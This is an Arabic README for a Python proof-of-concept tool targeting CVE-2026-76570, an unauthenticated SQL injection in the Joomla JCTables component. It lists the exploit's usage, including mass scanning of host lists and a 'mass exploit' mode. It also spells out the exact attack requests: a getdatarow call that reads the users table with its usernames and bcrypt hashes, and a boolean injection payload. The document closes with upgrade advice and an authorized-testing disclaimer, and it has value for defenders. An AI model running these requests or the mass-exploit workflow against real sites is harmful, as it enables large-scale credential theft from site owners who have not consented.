
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-76570: حقن SQL غير مُصادَق عليه في واجهة JSON الأمامية لامتداد Joomla JCTables (com_jctables)، مع أوضاع الفحص والاستغلال والمسح الجماعي.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-76570 — Joomcode JCTables — حقن SQL دون مصادقة على واجهة JSON CRUD في الواجهة الأمامية (getdatarow، getrow، …).
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76570 (منشور 2026-09-30) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-76570 |
| CNA | Joomla! Project |
| المكوّن | com_jctables |
| المتأثر | 1.0.0 – 1.20.0 (المختبر: ≤ 1.10.31.2 مؤكد) |
| الإصلاح | ≥ 1.21.1 (2026-08-05) |
| CWE | CWE-89، CWE-862 |
| CVSS 4.0 | 10.0 حرج — AT:N (دون إعداد إداري خاص) |
| التحليل | VulnCheck — سلسلة قراءة/كتابة SQL في JCTables → تنفيذ تعليمات برمجية عن بُعد |
مهام وحدة التحكم في الواجهة الأمامية لا تملك رمزًا مميزًا (token) / قائمة تحكم بالوصول (ACL). تُدمج أسماء الجداول والأعمدة الواردة في الطلب داخل استعلام SQL؛ وتعتبر ladb_escape() القيم المُحاطة بعلامات اقتباس "مُهرَّبة مسبقًا". يمكن لـ getdatarow قراءة جداول قاعدة البيانات الاعتباطية (مثل {prefix}users). يثبت هذا الـ PoC القراءة (صف اسم المستخدم / bcrypt) — ولا ينفّذ سلسلة تسجيل الدخول الإداري / تنفيذ التعليمات البرمجية عن بُعد الكاملة عبر الإضافة.
علامة النجاح: POCBIT-76570-OK (في بيانات إثبات JSON الوصفية).
pip install requests urllib3 coloramacd CVE-2026-76570
python poc.py # interactive
python poc.py hits.txt # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_ # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help
| الخطوة | الطلب |
|---|---|
| قراءة صف | GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1 |
| استعلام منطقي (Boolean) | GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR '' |
قم بترقية JCTables إلى 1.21.1+ أو أزل المكوّن.
للاختبار الأمني المصرّح به فقط.